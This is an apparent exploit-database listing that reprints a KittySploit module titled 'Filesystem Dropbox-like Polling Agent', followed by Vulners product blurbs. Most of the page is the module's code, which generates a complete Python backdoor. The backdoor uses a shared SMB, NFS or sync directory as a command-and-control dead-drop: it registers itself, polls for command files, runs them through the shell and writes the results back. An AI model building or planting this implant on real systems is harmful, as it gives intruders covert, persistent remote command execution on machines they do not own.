Lucene search
+L

Filesystem Dropbox-like Polling Agent

🗓️ 31 Jul 2026 18:12:07Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Filesystem Dropbox-like Polling Agent provides a Python backdoor via a shared directory.

Refs
Code
from kittysploit import *


class Module(Backdoor):
	"""Filesystem dead-drop agent for dropbox_like_polling listener."""

	__info__ = {
		"name": "Filesystem Dropbox-like Polling Agent",
		"description": (
			"Writes a Python implant that uses a shared directory as C2 dead-drop "
			"(register/commands/results). Controller: listeners/filesystem/dropbox_like_polling. "
			"Requires a shared path (SMB/NFS/sync) — install as backdoor, not exploit payload."
		),
		"author": "KittySploit Team",
		"platform": Platform.MULTI,
		"arch": Arch.PYTHON,
		"session_type": SessionType.POLLING,
		"listener": "listeners/filesystem/dropbox_like_polling",
	}

	root_dir = OptString("/tmp/ks-dropbox-c2", "Shared C2 root (must match listener)", True)
	client_id = OptString("agent1", "Client ID", False)
	poll_interval = OptInteger(2, "Poll interval seconds", False)
	filename = OptString("", "Output filename (empty = random .py)", False)

	def check(self):
		return bool(str(self.root_dir or "").strip())

	def run(self):
		if not self.check():
			print_error("root_dir is required")
			return False

		root = str(self.root_dir).strip()
		cid = str(self.client_id or "agent1").strip() or "agent1"
		interval = max(1, int(self.poll_interval or 2))

		script = f'''#!/usr/bin/env python3
import os,subprocess,time,uuid
ROOT={root!r}; CID={cid!r}; INTERVAL={interval}
REG=os.path.join(ROOT,"register"); CMD=os.path.join(ROOT,"commands"); RES=os.path.join(ROOT,"results")
for d in (REG,CMD,RES):
  try: os.makedirs(d, exist_ok=True)
  except Exception: pass
# register presence
open(os.path.join(REG, CID+".agent"),"w",encoding="utf-8").write(str(time.time()))
cmd_path=os.path.join(CMD, CID+".cmd")
last_mtime=None
while True:
  try:
    if os.path.isfile(cmd_path):
      st=os.stat(cmd_path)
      if last_mtime is None or st.st_mtime > last_mtime:
        last_mtime=st.st_mtime
        with open(cmd_path,"r",encoding="utf-8",errors="replace") as f:
          cmd=f.read()
        if cmd.strip():
          try:
            p=subprocess.run(cmd,shell=True,capture_output=True,timeout=120)
            out=(p.stdout or b"")+(p.stderr or b"")
            if not out: out=("exit %s\\n"%p.returncode).encode()
          except Exception as e:
            out=("ERROR:%s\\n"%e).encode()
          nonce=uuid.uuid4().hex[:8]
          out_path=os.path.join(RES, "%s.%s.out"%(CID,nonce))
          with open(out_path,"wb") as f: f.write(out)
          # clear command to avoid re-exec on next poll with same mtime edge cases
          try: open(cmd_path,"w").write("")
          except Exception: pass
  except Exception:
    pass
  time.sleep(INTERVAL)
'''

		name = str(self.filename or "").strip() or (self.random_text(8) + "_dropbox_agent.py")
		if not name.endswith(".py"):
			name += ".py"
		if not self.write_out_dir(name, script):
			print_error("Failed to write agent file")
			return False
		print_success(f"Generated: {name}")
		print_info(f"root_dir={root}  client_id={cid}")
		print_info("Start listeners/filesystem/dropbox_like_polling with the same root_dir")
		print_warning("Backdoor implant (shared dead-drop) — not for exploit payload chaining")
		return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Jul 2026 18:12Current
5.8Medium risk
Vulners AI Score5.8
0